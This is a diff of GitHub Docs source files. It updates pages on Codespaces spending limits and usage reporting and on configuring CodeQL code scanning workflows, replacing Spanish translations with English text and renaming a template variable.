||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
type: how_to
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
topics:
|
||||
- Codespaces
|
||||
- Enterprise
|
||||
- Organizations
|
||||
- Spending limits
|
||||
- User account
|
||||
- Billing
|
||||
shortTitle: Spending limits
|
||||
redirect_from:
|
||||
- /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces
|
||||
---
|
||||
## About spending limits for {% data variables.product.prodname_github_codespaces %}
|
||||
|
||||
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
|
||||
|
||||
{% data reusables.codespaces.codespaces-monthly-billing %}
|
||||
|
||||
Once you've reached your spending limit, your organization or repository will no longer be able to create new codespaces, and won't be able to start existing codespaces. Any existing codespaces that are still running will not be shutdown; if you don't change the spending limit, you will not be charged for the amount that exceeds the limit.
|
||||
|
||||
For more information about pricing for {% data variables.product.prodname_github_codespaces %} usage, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
|
||||
|
||||
{% ifversion ghec %}
|
||||
## Using your Azure Subscription
|
||||
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
|
||||
{% endif %}
|
||||
|
||||
## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your organization
|
||||
|
||||
Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization.
|
||||
|
||||
{% data reusables.organizations.billing-settings %}
|
||||
{% data reusables.dotcom_billing.manage-spending-limit %}
|
||||
{% data reusables.dotcom_billing.monthly-spending-limit-codespaces %}
|
||||
{% data reusables.dotcom_billing.update-spending-limit %}
|
||||
|
||||
{% ifversion ghec %}
|
||||
## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your enterprise account
|
||||
|
||||
Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an enterprise account.
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.billing-tab %}
|
||||
1. Click **Spending Limit**.
|
||||
|
||||
{% data reusables.dotcom_billing.monthly-spending-limit %}
|
||||
{% data reusables.dotcom_billing.update-spending-limit %}
|
||||
{% endif %}
|
||||
|
||||
## Exporting changes when you have reached your spending limit
|
||||
|
||||
{% data reusables.codespaces.exporting-changes %}
|
||||
## Managing usage and spending limit email notifications
|
||||
|
||||
Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, 90%, and 100% of your account's spending limit.
|
||||
|
||||
You can disable these notifications anytime by navigating to the bottom of the **Spending Limit** page.
|
||||
|
||||
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
|
||||
- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"
|
||||
@@ -1,9 +1,7 @@
|
||||
---
|
||||
title: Visualización del uso de GitHub Codespaces
|
||||
title: Viewing your GitHub Codespaces usage
|
||||
shortTitle: Viewing your usage
|
||||
intro: 'Puedes ver los minutos de proceso y almacenamiento que utilizan los {% data variables.product.prodname_github_codespaces %}.'
|
||||
permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
intro: 'You can view the compute hours and storage used by {% data variables.product.prodname_github_codespaces %}.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -13,46 +11,63 @@ topics:
|
||||
- Billing
|
||||
redirect_from:
|
||||
- /billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage
|
||||
ms.openlocfilehash: c3024840f48bda68470b9ab12693f4a79daddb48
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107153'
|
||||
---
|
||||
## Visualización del uso de {% data variables.product.prodname_github_codespaces %} para la organización
|
||||
|
||||
Los propietarios de la organización y los administradores de facturación pueden ver el uso de {% data variables.product.prodname_github_codespaces %} en una organización. Para las organizaciones que administra una cuenta empresarial, los propietarios de estas pueden ver el uso de los {% data variables.product.prodname_github_codespaces %} en la página de facturación de la misma y los administradores empresariales pueden ver el uso de toda la empresa.
|
||||
## Viewing {% data variables.product.prodname_github_codespaces %} usage for your personal account
|
||||
|
||||
You can see how much of the usage included in your personal account you have used so far in the current monthly billing cycle. If you have set up a payment method, set a spending limit, and used all of your included usage, you can also check your bill for the current month.
|
||||
|
||||
{% data reusables.user-settings.access_settings %}
|
||||
{% data reusables.user-settings.billing_plans %}
|
||||
1. Under "{% data variables.product.prodname_codespaces %}," you can see how many core hours of {% data variables.product.prodname_github_codespaces %} compute usage and GB-months of storage you have used so far in the current billing month.
|
||||
|
||||
|
||||
|
||||
For information about "core hours" and "GB-months," see "[About billing for {% data variables.product.prodname_github_codespaces %}](/enterprise-cloud@latest/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
|
||||
|
||||
1. Optionally, click **Usage hours** and **Storage** to see more details.
|
||||
|
||||
|
||||
|
||||
The **Included** column shows how many of the core hours of compute usage, or GB-months of storage, included free with your account, you have used so far this month. The **Paid** column shows how many billed core hours of usage, or GB-months of storage, you have used. The figures are updated once every hour.
|
||||
|
||||
In the screenshot above, the entire quota of included storage for the month has been used. When you've used all of either the included compute usage or storage (whichever is reached first), you must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. For more information, see "[Adding or editing a payment method](/enterprise-cloud@latest/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method)" and "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-personal-account)."
|
||||
|
||||
{% data reusables.codespaces.usage-report-download %}
|
||||
|
||||
## Viewing {% data variables.product.prodname_github_codespaces %} usage for your organization account
|
||||
|
||||
Organization owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for the organization.
|
||||
|
||||
{% data reusables.organizations.billing-settings %}
|
||||
1. En "{% data variables.product.prodname_codespaces %}", consulta los detalles de las horas de proceso y el almacenamiento usados hasta ahora.
|
||||
1. Under "{% data variables.product.prodname_codespaces %}", view the details of the compute hours and storage used so far this month.
|
||||
|
||||
|
||||
|
||||
|
||||
También puedes ver y actualizar el límite de gasto actual. Para más información, consulta "[Administración de los límites de gasto para {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)".
|
||||
You can also see and update your current spending limit. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)."
|
||||
|
||||
{% note %}
|
||||
|
||||
**Notas**:
|
||||
* Los costos que se muestran aquí son los costos acumulados en el periodo de facturación mensual actual. Los costos medidos de {% data variables.product.prodname_github_codespaces %} que se muestran en esta página se restablecen a cero al principio de cada periodo de facturación mensual. Los costos pendientes de los meses anteriores no se muestran.
|
||||
* Las cifras de esta página se actualizan cada hora.
|
||||
**Notes**:
|
||||
* The costs shown here are the cumulative costs within the current monthly billing period. The metered costs for {% data variables.product.prodname_github_codespaces %} shown on this page are reset to zero at the start of each monthly billing period. Outstanding costs from previous months are not shown.
|
||||
* The figures on this page are updated every hour.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
{% data reusables.dotcom_billing.actions-packages-report-download-org-account %} Los datos usados para este informe se actualizan diariamente.
|
||||
1. Filtra el informe para mostrar solo las filas que mencionan "Codespaces" en el campo `Product`.
|
||||
|
||||
|
||||
{% data reusables.codespaces.usage-report-download %}
|
||||
|
||||
{% ifversion ghec %}
|
||||
## Visualización del uso de {% data variables.product.prodname_codespaces %} para la cuenta de empresa
|
||||
## Viewing {% data variables.product.prodname_codespaces %} usage for your enterprise account
|
||||
|
||||
Los propietarios de empresas y los administradores de facturación pueden ver el uso de {% data variables.product.prodname_github_codespaces %} para una cuenta de empresa.
|
||||
Enterprise owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for an enterprise account.
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
|
||||
1. En "Uso mensual de {% data variables.product.prodname_codespaces %}", puedes ver los detalles de uso de cada organización en tu cuenta empresarial.
|
||||
{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %}
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.billing-tab %}
|
||||
1. Under "{% data variables.product.prodname_codespaces %} monthly usage", view the usage details of each organization in your enterprise account.
|
||||
{% data reusables.codespaces.usage-report-download %}
|
||||
{% endif %}
|
||||
|
||||
## Información adicional
|
||||
## Further reading
|
||||
|
||||
- "[Enumeración de codespaces en la organización](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)"
|
||||
- "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)"
|
||||
|
||||
@@ -65,7 +65,7 @@ Once you have decided on the secret types, you can do the following:
|
||||
|
||||
{% ifversion not ghae %}
|
||||
|
||||
You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
|
||||
You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in security overviews](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
|
||||
@@ -47,7 +47,7 @@ Before you can configure {% data variables.product.prodname_code_scanning %} for
|
||||
|
||||
{% data reusables.code-scanning.edit-workflow %}
|
||||
|
||||
{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.product.prodname_codeql_workflow %} file.
|
||||
{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file.
|
||||
|
||||
## Editing a {% data variables.product.prodname_code_scanning %} workflow
|
||||
|
||||
@@ -63,13 +63,13 @@ For more information about editing workflow files, see "[Learn {% data variables
|
||||
|
||||
## Configuring frequency
|
||||
|
||||
You can configure the {% data variables.product.prodname_codeql_workflow %} to scan code on a schedule or when specific events occur in a repository.
|
||||
You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository.
|
||||
|
||||
Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository.
|
||||
|
||||
### Scanning on push
|
||||
|
||||
By default, the {% data variables.product.prodname_codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)."
|
||||
By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)."
|
||||
|
||||
If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
|
||||
|
||||
@@ -77,7 +77,7 @@ Additionally, when an `on:push` scan returns results that can be mapped to an op
|
||||
|
||||
### Scanning pull requests
|
||||
|
||||
The default {% data variables.product.prodname_codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
|
||||
The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
|
||||
|
||||
For more information about the `pull_request` event, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)."
|
||||
|
||||
@@ -123,7 +123,7 @@ For more information about using `on:pull_request:paths-ignore` and `on:pull_req
|
||||
|
||||
### Scanning on a schedule
|
||||
|
||||
If you use the default {% data variables.product.prodname_codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)."
|
||||
If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)."
|
||||
|
||||
{% note %}
|
||||
|
||||
@@ -133,7 +133,7 @@ If you use the default {% data variables.product.prodname_codeql_workflow %}, th
|
||||
|
||||
### Example
|
||||
|
||||
The following example shows a {% data variables.product.prodname_codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`.
|
||||
The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`.
|
||||
|
||||
``` yaml
|
||||
on:
|
||||
@@ -152,7 +152,7 @@ This workflow scans:
|
||||
|
||||
## Specifying an operating system
|
||||
|
||||
If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
|
||||
If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
|
||||
|
||||
``` yaml
|
||||
jobs:
|
||||
@@ -178,7 +178,7 @@ For recommended specifications (RAM, CPU cores, and disk) for running {% data va
|
||||
|
||||
## Specifying the location for {% data variables.product.prodname_codeql %} databases
|
||||
|
||||
In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action.
|
||||
In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action.
|
||||
|
||||
``` yaml
|
||||
- uses: {% data reusables.actions.action-codeql-action-init %}
|
||||
@@ -186,9 +186,9 @@ In general, you do not need to worry about where the {% data variables.product.p
|
||||
db-location: {% raw %}'${{ github.workspace }}/codeql_dbs'{% endraw %}
|
||||
```
|
||||
|
||||
The {% data variables.product.prodname_codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %}
|
||||
The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %}
|
||||
|
||||
If this parameter is not used, the {% data variables.product.prodname_codeql_workflow %} will create databases in a temporary location of its own choice.
|
||||
If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice.
|
||||
|
||||
## Changing the languages that are analyzed
|
||||
|
||||
@@ -196,7 +196,7 @@ If this parameter is not used, the {% data variables.product.prodname_codeql_wor
|
||||
|
||||
{% data reusables.code-scanning.codeql-languages-bullets %}
|
||||
|
||||
The default {% data variables.product.prodname_codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
|
||||
The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
|
||||
|
||||
{% data reusables.code-scanning.specify-language-to-analyze %}
|
||||
|
||||
@@ -223,7 +223,7 @@ If your workflow does not contain a matrix called `language`, then {% data varia
|
||||
{% ifversion fpt or ghec %}
|
||||
## Analyzing Python dependencies
|
||||
|
||||
For GitHub-hosted runners that use Linux only, the {% data variables.product.prodname_codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`:
|
||||
For GitHub-hosted runners that use Linux only, the {% data variables.code-scanning.codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`:
|
||||
|
||||
- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies.
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Configuring the CodeQL workflow for compiled languages
|
||||
shortTitle: Configure compiled languages
|
||||
intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.product.prodname_codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.'
|
||||
intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.code-scanning.codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.'
|
||||
product: '{% data reusables.gated-features.code-scanning %}'
|
||||
permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.'
|
||||
redirect_from:
|
||||
@@ -31,9 +31,9 @@ topics:
|
||||
{% data reusables.code-scanning.beta %}
|
||||
{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
|
||||
|
||||
## About the {% data variables.product.prodname_codeql_workflow %} and compiled languages
|
||||
## About the {% data variables.code-scanning.codeql_workflow %} and compiled languages
|
||||
|
||||
You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.product.prodname_codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
|
||||
You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.code-scanning.codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
|
||||
|
||||
{% data reusables.code-scanning.edit-workflow %}
|
||||
For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Ejecutarel escaneo de código de CodeQL en un contenedor
|
||||
title: Running CodeQL code scanning in a container
|
||||
shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
|
||||
intro: 'Puedes ejecutar el {% data variables.product.prodname_code_scanning %} en un contenedor si garantizas que todos los procesos se ejecutan en el mismo contenedor.'
|
||||
intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.'
|
||||
product: '{% data reusables.gated-features.code-scanning %}'
|
||||
redirect_from:
|
||||
- /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
|
||||
@@ -21,44 +21,42 @@ topics:
|
||||
- Repositories
|
||||
- Containers
|
||||
- Java
|
||||
ms.openlocfilehash: 9f4fb3cd54dda2f31ec6086419078345dad51e8d
|
||||
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/09/2022
|
||||
ms.locfileid: '147682680'
|
||||
---
|
||||
|
||||
|
||||
{% data reusables.code-scanning.beta %}
|
||||
|
||||
## Acerca del {% data variables.product.prodname_code_scanning %} con una compilación en contenedor
|
||||
## About {% data variables.product.prodname_code_scanning %} with a containerized build
|
||||
|
||||
Si estás configurando el {% data variables.product.prodname_code_scanning %} para un lenguaje compilado, y estás compilando el código en un ambiente contenido, el análisis podría fallar con el mensaje de error "No source code was seen during the build". Esto indica que {% data variables.product.prodname_codeql %} no fue capaz de monitorear tu código mientras se compilaba.
|
||||
If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled.
|
||||
|
||||
Debes ejecutar a {% data variables.product.prodname_codeql %} dentro del mismo contenedor en el que compilaste tu código. Esto se aplica ya sea si usas la {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %} el {% data variables.product.prodname_codeql_runner %}{% endif %} o {% data variables.product.prodname_actions %}. Para la {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}o el {% data variables.product.prodname_codeql_runner %}{% endif %}, consulta "[Instalación de la {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)"{% ifversion codeql-runner-supported %} o "[Ejecución del {% data variables.product.prodname_codeql_runner %} en el sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} para obtener más información. Si estás utilizando {% data variables.product.prodname_actions %}, configura tu flujo de trabajo para ejecutar todas las acciones en el mismo contenedor. Para obtener más información, vea "[Flujo de trabajo de ejemplo](#example-workflow)".
|
||||
You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %}, the {% data variables.code-scanning.codeql_runner %},{% endif %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}or the {% data variables.code-scanning.codeql_runner %}{% endif %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)"{% ifversion codeql-runner-supported %} or "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota:** {% data reusables.code-scanning.non-glibc-linux-support %}
|
||||
**Note:** {% data reusables.code-scanning.non-glibc-linux-support %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Dependencias
|
||||
## Dependencies
|
||||
|
||||
Es posible que tengas alguna dificultad para ejecutar el {% data variables.product.prodname_code_scanning %} si el contenedor que estás utilizando carece de ciertas dependencias (Por ejemplo, Git debe instalarse y agregarse a la variable PATH). Si te encuentras con algún problema en las dependencias, revisa la lista de software que habitualmente se incluye en las imágenes de ejecutores de {% data variables.product.prodname_dotcom %}. Para obtener más información, vea los archivos `readme` específicos de la versión en estas ubicaciones:
|
||||
You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s runner images. For more information, see the version-specific `readme` files in these locations:
|
||||
|
||||
* Linux: https://github.com/actions/runner-images/tree/main/images/linux
|
||||
* macOS: https://github.com/actions/runner-images/tree/main/images/macos
|
||||
* Windows: https://github.com/actions/runner-images/tree/main/images/win
|
||||
|
||||
## Flujo de trabajo de ejemplo
|
||||
## Example workflow
|
||||
|
||||
{% ifversion ghes or ghae %} {% note %}
|
||||
{% ifversion ghes or ghae %}
|
||||
{% note %}
|
||||
|
||||
**Nota:** En este artículo se describen las características disponibles con la versión de la acción CodeQL y el paquete CodeQL CLI asociado que se incluye en la versión inicial de esta versión de {% data variables.product.product_name %}. Si la empresa usa una versión más reciente de la acción CodeQL, vea el [artículo sobre {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container) para obtener información sobre las características más recientes.{% ifversion not ghae %} Para obtener información sobre el uso de la versión más reciente, vea "[Configuración del examen de código para el dispositivo](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)".{% endif %}
|
||||
**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container) for information on the latest features.{% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
|
||||
|
||||
{% endnote %} {% endif %}
|
||||
{% endnote %}
|
||||
{% endif %}
|
